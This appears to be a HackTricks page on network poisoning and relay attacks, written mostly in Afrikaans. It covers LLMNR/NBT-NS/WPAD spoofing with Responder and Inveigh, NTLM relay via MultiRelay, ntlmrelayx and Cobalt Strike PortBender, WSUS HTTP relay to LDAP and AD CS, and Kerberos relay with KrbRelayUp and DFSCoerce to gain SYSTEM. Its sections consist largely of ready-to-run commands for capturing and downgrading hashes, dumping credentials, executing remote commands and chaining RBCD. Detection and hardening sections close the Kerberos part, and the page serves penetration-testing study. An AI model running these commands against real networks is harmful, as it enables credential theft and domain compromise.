Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Reading time: 15 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Netwerkprotokolle

Local Host Resolution Protocols

  • LLMNR, NBT-NS, and mDNS:
  • Microsoft en ander bedryfstelsels gebruik LLMNR en NBT-NS vir plaaslike naamoplossing wanneer DNS faal. Net so gebruik Apple- en Linux-stelsels mDNS.
  • Hierdie protokolle is vatbaar vir onderskepping en spoofing weens hul nie-geverifieerde uitsendingsaard oor UDP.
  • Responder kan gebruik word om dienste te imiteer deur vervalste antwoorde te stuur aan gashere wat navrae na hierdie protokolle stuur.
  • Verdere inligting oor diensimitasie met Responder is te vinde here.

Web Proxy Auto-Discovery Protocol (WPAD)

  • WPAD laat blaaiers toe om proxy-instellings outomaties te ontdek.
  • Ontdekking word gefasiliteer via DHCP, DNS, of terugval na LLMNR en NBT-NS as DNS faal.
  • Responder kan WPAD-aanvalle outomatiseer en kliënte na kwaadwillige WPAD-bedieners lei.

Responder vir Protokolvergiftiging

  • Responder is 'n hulpmiddel wat gebruik word om LLMNR-, NBT-NS- en mDNS-navrae te vergiftig, en selektief te reageer gebaseer op navraagtipe, hoofsaaklik SMB-dienste teiken.
  • Dit kom vooraf geïnstalleer in Kali Linux, konfigureerbaar by /etc/responder/Responder.conf.
  • Responder vertoon vasgevang hashes op die skerm en stoor dit in die /usr/share/responder/logs gids.
  • Dit ondersteun beide IPv4 en IPv6.
  • Windows version of Responder is available here.

Running Responder

  • Om Responder met verstekinstellings te hardloop: responder -I <Interface>
  • Vir meer aggressiewe ondersoek (met moontlike newe-effekte): responder -I <Interface> -P -r -v
  • Tegnieke om NTLMv1 challenges/responses te vasvang vir makliker krak: responder -I <Interface> --lm --disable-ess
  • WPAD-imitasie kan geaktiveer word met: responder -I <Interface> --wpad
  • NetBIOS-versoeke kan opgelos word na die aanvaller se IP, en 'n authentication proxy kan opgestel word: responder.py -I <interface> -Pv

DHCP Poisoning met Responder

  • Spoofing van DHCP-antwoorde kan 'n slagoffer se routeringsinligting permanent vergiftig, wat 'n minder opspiedende alternatief tot ARP-vergiftiging bied.
  • Dit vereis presiese kennis van die teikennetwerk se konfigurasie.
  • Running the attack: ./Responder.py -I eth0 -Pdv
  • Hierdie metode kan effektief NTLMv1/2 hashes vasvang, maar vereis versigtige hantering om netwerkversteuring te vermy.

Vasvang van Geloofsbriewe met Responder

  • Responder sal dienste imiteer wat bogenoemde protokolle gebruik, en geloofsbriewe vasvang (gewoonlik NTLMv2 Challenge/Response) wanneer 'n gebruiker probeer verifieer teen die gespoofte dienste.
  • Pogings kan aangewend word om af te gradeer na NetNTLMv1 of ESS te deaktiveer vir makliker krak van geloofsbriewe.

Dit is van kardinale belang dat die gebruik van hierdie tegnieke wettig en eties geskied, met behoorlike magtiging en sonder ontwrigting of ongemagtigde toegang.

Inveigh

Inveigh is 'n hulpmiddel vir penetration testers en red teamers, ontwerp vir Windows systems. Dit bied funksionaliteit soortgelyk aan Responder, en voer spoofing en man-in-the-middle-aanvalle uit. Die hulpmiddel het ontwikkel van 'n PowerShell-skrip na 'n C#-binary, met Inveigh en InveighZero as die hoofweergawes. Gedetaileerde parameters en instruksies is beskikbaar in die wiki.

Inveigh kan deur PowerShell bedryf word:

bash
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

Of uitgevoer as 'n C# binary:

bash
Inveigh.exe

NTLM Relay Attack

Hierdie aanval benut SMB-authentikasiesessies om toegang tot 'n teikenmasjien te verkry en, indien suksesvol, 'n system shell te kry. Belangrike vereistes sluit in:

  • Die autentiserende gebruiker moet Local Admin access op die relayed host hê.
  • SMB signing moet gedeaktiveer wees.

445 Port Forwarding and Tunneling

In scenario's waar direkte netwerkintroduksie nie uitvoerbaar is nie, moet verkeer op port 445 geforward en getunnel word. Gereedskap soos PortBender help om port 445-verkeer na 'n ander poort om te lei, wat noodsaaklik is wanneer Local Admin access beskikbaar is vir driver loading.

PortBender setup and operation in Cobalt Strike:

bash
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Ander gereedskap vir NTLM Relay Attack

  • Metasploit: Opstel met proxies, plaaslike en afgeleë host-besonderhede.
  • smbrelayx: 'n Python-skrip om SMB-sessies te relé en opdragte uit te voer of backdoors te ontplooi.
  • MultiRelay: 'n hulpmiddel uit die Responder-suite om spesifieke gebruikers of alle gebruikers te relé, opdragte uit te voer, of hashes te dump.

Elke hulpmiddel kan gekonfigureer word om deur 'n SOCKS proxy te werk indien nodig, wat aanvalle selfs met indirekte netwerktoegang moontlik maak.

MultiRelay-operasie

MultiRelay word vanaf die /usr/share/responder/tools gids uitgevoer en mik op spesifieke IPs of gebruikers.

bash
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

Hierdie gereedskap en tegnieke vorm 'n omvattende stel vir die uitvoering van NTLM Relay attacks in verskeie netwerkomgewings.

Misbruik van WSUS HTTP (8530) vir NTLM Relay na LDAP/SMB/AD CS (ESC8)

WSUS-kliente verifieer by hul opdateringsbediener met NTLM oor HTTP (8530) of HTTPS (8531). Wanneer HTTP geaktiveer is, kan periodieke kliënt-inskrywings op die plaaslike segment geforseer of onderskep en met ntlmrelayx na LDAP/LDAPS/SMB of AD CS HTTP-endpunte (ESC8) herlei word sonder om enige hashes te crack. Dit meng in met normale opdateringstrafiek en lewer dikwels masjien-rekeningverifikasies op (HOST$).

Wat om na te kyk

  • GPO/registrasie-konfigurasie onder HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate en ...\WindowsUpdate\AU:
  • WUServer (bv., http://wsus.domain.local:8530)
  • WUStatusServer (reporting URL)
  • UseWUServer (1 = WSUS; 0 = Microsoft Update)
  • DetectionFrequencyEnabled and DetectionFrequency (hours)
  • WSUS SOAP-endpunte wat deur kliënte oor HTTP gebruik word:
  • /ClientWebService/client.asmx (approvals)
  • /ReportingWebService/reportingwebservice.asmx (status)
  • Standaard-porte: 8530/tcp HTTP, 8531/tcp HTTPS

Verkenning

  • Onautentiseerd
  • Scan vir listeners: nmap -sSVC -Pn --open -p 8530,8531 -iL
  • Sniff HTTP WSUS-verkeer via L2 MITM en log aktiewe kliënte/endpunte met wsusniff.py (HTTP slegs tensy jy kliënte kan laat vertrou op jou TLS-cert).
  • Geauthentiseer
  • Parse SYSVOL GPOs vir WSUS-sleutels met MANSPIDER + regpol (wsuspider.sh wrapper som WUServer/WUStatusServer/UseWUServer op).
  • Vra endpunte op skaal vanaf hosts (NetExec) of plaaslik: nxc smb -u -p -M reg-query -o PATH="HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" KEY="WUServer" reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate

Einde-tot-einde HTTP-relay-stappe

  1. Posisioneer vir MITM (selfde L2) sodat 'n kliënt die WSUS-bediener na jou oplos (ARP/DNS poisoning, Bettercap, mitm6, ens.). Voorbeeld met arpspoof: arpspoof -i -t <wsus_client_ip> <wsus_server_ip>

  2. Herlei poort 8530 na jou relay-listener (opsioneel, gerieflik): iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530 iptables -t nat -L PREROUTING --line-numbers

  3. Begin ntlmrelayx met die HTTP-listener (vereis Impacket-ondersteuning vir HTTP-listener; sien PRs hieronder): ntlmrelayx.py -t ldap:// -smb2support -socks --keep-relaying --http-port 8530

Ander algemene teikens:

  • Relay na SMB (as signing af is) vir exec/dump: -t smb://
  • Relay na LDAPS vir directory-wyses (bv., RBCD): -t ldaps://
  • Relay na AD CS web-enrollment (ESC8) om 'n cert uit te reik en dan te verifieer via Schannel/PKINIT: ntlmrelayx.py --http-port 8530 -t http:///certsrv/certfnsh.asp --adcs --no-http-server Vir dieper AD CS-misbruikpaaie en tooling, sien die AD CS bladsy:

AD CS Domain Escalation

  1. Trigger 'n kliënt-check-in of wag vir die skedule. Vanaf 'n kliënt: wuauclt.exe /detectnow of gebruik die Windows Update-koppelvlak (Check for updates).

  2. Gebruik die geverifieerde SOCKS-sessies (indien -socks) of direkte relay-resultate vir post-exploitation (LDAP-wyses, SMB-aksies, of AD CS-sertifikaatutreiking vir later verifikasie).

HTTPS-beperking (8531)

  • Passiewe onderskep van WSUS oor HTTPS is ondoeltreffend tensy kliënte jou sertifikaat vertrou. Sonder 'n vertroude cert of ander TLS-breek kan die NTLM-handshake nie uit WSUS HTTPS-verkeer geoogst/herlei word nie.

Aantekeninge

  • WSUS is aangekondig as verouderd maar bly wyd versprei; HTTP (8530) is steeds algemeen in baie omgewings.
  • Nuttige helpers: wsusniff.py (kyk na HTTP WSUS check-ins), wsuspider.sh (enumeer WUServer/WUStatusServer vanaf GPOs), NetExec reg-query op skaal.
  • Impacket het HTTP-listener ondersteuning vir ntlmrelayx herstel in PR #2034 (oorspronklik bygevoeg in PR #913).

Force NTLM Logins

In Windows kan jy moontlik sommige bevoorregte rekeninge dwing om te verifieer by arbitrêre masjiene. Lees die volgende bladsy om te leer hoe:

Force NTLM Privileged Authentication

Kerberos Relay attack

A Kerberos relay attack steel 'n AP-REQ ticket van een diens en hergebruik dit teen 'n tweede diens wat dieselfde computer-account key deel (omdat albei SPNs op dieselfde $ masjienrekening sit). Dit werk selfs al verskil die SPNs se service classes (bv. CIFS/LDAP/) omdat die sleutel wat die ticket ontsleutel die masjien se NT-hash is, nie die SPN-string self nie en die SPN-string is nie deel van die handtekening nie.

Anders as NTLM relay, is die hop beperk tot dieselfde gasheer, maar as jy 'n protokol teiken wat jou toelaat om na LDAP te skryf, kan jy ketting na Resource-Based Constrained Delegation (RBCD) of AD CS enrollment en NT AUTHORITY\SYSTEM met een skoot kry.

Vir gedetailleerde inligting oor hierdie aanval sien:

TokenDoelRelevansie vir relay
TGT / AS-REQ ↔ REPBewys die gebruiker aan die KDConveranderd
Service ticket / TGS-REQ ↔ REPGebonde aan een SPN; versleuteld met die SPN-eienaar se sleutelinruilbaar as SPNs dieselfde rekening deel
AP-REQKliënt stuur TGS na die dienswat ons steel & hervertoon
  • Tickets is versleuteld met die wagwoord-afgeleide sleutel van die rekening wat die SPN besit.
  • Die Authenticator binne die AP-REQ het 'n 5-minute tydstempel; hervertoning binne daardie venster is geldig totdat die dienskas 'n duplikaat sien.
  • Windows kyk selde of die SPN-string in die ticket ooreenstem met die diens wat jy tref, so 'n ticket vir CIFS/HOST ontsleutel gewoonlik net so op LDAP/HOST.
    1. Wat moet waar wees om Kerberos te relay
  1. Gedeelde sleutel: bron- en teiken-SPNs behoort aan dieselfde rekenaarrekening (standaard op Windows-bedieners).
  2. Geen kanaalbeskerming: SMB/LDAP signing af en EPA af vir HTTP/LDAPS.
  3. Jy kan verifikasie onderskep of afdwing: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM, ens..
  4. Ticket-bron reeds nie gebruik nie: jy wen die wedloop voor die werklike pakket tref of blok dit heeltemal; andersins vuur die bediener se replay-cache Event 4649.
  5. Jy moet op een of ander manier 'n MitM in die kommunikasie kan uitvoer—miskien deur deel te wees van die DNSAdmins-groep om die DNS van die domein te verander of deur die HOST-lêer van die slagoffer te kan verander.

Kerberos Relay-stappe

  • 3.1 Verken die gasheer
powershell
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
  • 3.2 Begin die relay listener

KrbRelayUp

powershell
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp verpak KrbRelay → LDAP → RBCD → Rubeus → SCM bypass in 'n enkele binêre.

  • 3.3 Dwing Kerberos auth
powershell
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce laat die DC 'n Kerberos CIFS/DC01 ticket aan ons stuur.

  • 3.4 Relay the AP-REQ

KrbRelay onttrek die GSS blob uit SMB, herverpak dit in 'n LDAP bind, en stuur dit na ldap://DC01 — authentication slaag omdat die same key dit kan decrypt.

  • 3.5 Abuse LDAP ➜ RBCD ➜ SYSTEM
powershell
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

Jy besit nou NT AUTHORITY\SYSTEM.

Meer paaie wat jy moet ken

VectorTruukWaarom dit saak maak
AuthIP / IPSecVals bediener stuur 'n GSS-ID payload met enige SPN; kliënt bou 'n AP-REQ direk na jouWerk selfs oor subnette; masjiencreds standaard
DCOM / MSRPCKwaadaardige OXID-resolver dwing die kliënt om na 'n ewekansige SPN en poort te authSuiwer lokale priv-esc; omseil firewall
AD CS Web EnrollRelay masjienkaartjie na HTTP/CA en kry 'n cert, dan PKINIT om TGTs te mintOmseil LDAP-signeringsverdedigings
Shadow CredentialsSkryf msDS-KeyCredentialLink, dan PKINIT met vervalste sleutelpaarGeen behoefte om 'n rekenaarrekening by te voeg nie

Troubleshooting

FoutBetekenisOplossing
KRB_AP_ERR_MODIFIEDTicket-sleutel ≠ teiken-sleutelVerkeerde host/SPN
KRB_AP_ERR_SKEWKlok > 5 min verskilSinkroniseer tyd of gebruik w32tm
LDAP bind failsOndertekening afgedwingGebruik AD CS-pad of skakel ondertekening af
Event 4649 spamDiens het 'n dubbele Authenticator gesienBlokkeer of wedren met oorspronklike pakket

Detection

  • Toename in Event 4769 vir CIFS/, HTTP/, LDAP/ van dieselfde bron binne sekondes.
  • Event 4649 op die diens dui op 'n herhaling wat opgespoor is.
  • Kerberos-aanmelding vanaf 127.0.0.1 (relay to local SCM) is hoogs verdag—map via Sigma rule in KrbRelayUp docs.
  • Let op veranderings aan msDS-AllowedToActOnBehalfOfOtherIdentity of msDS-KeyCredentialLink attribuutte.

Verharding

  1. Enforce LDAP & SMB signing + EPA op elke bediener.
  2. Split SPNs sodat HTTP nie op dieselfde account as CIFS/LDAP is nie.
  3. Patcheer coercion-vektore (PetitPotam KB5005413, DFS, AuthIP).
  4. Stel ms-DS-MachineAccountQuota = 0 om onbevoegde rekenaarjoins te stop.
  5. Waarsku op Event 4649 en onverwagte loopback Kerberos-aanmeldings.

References

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks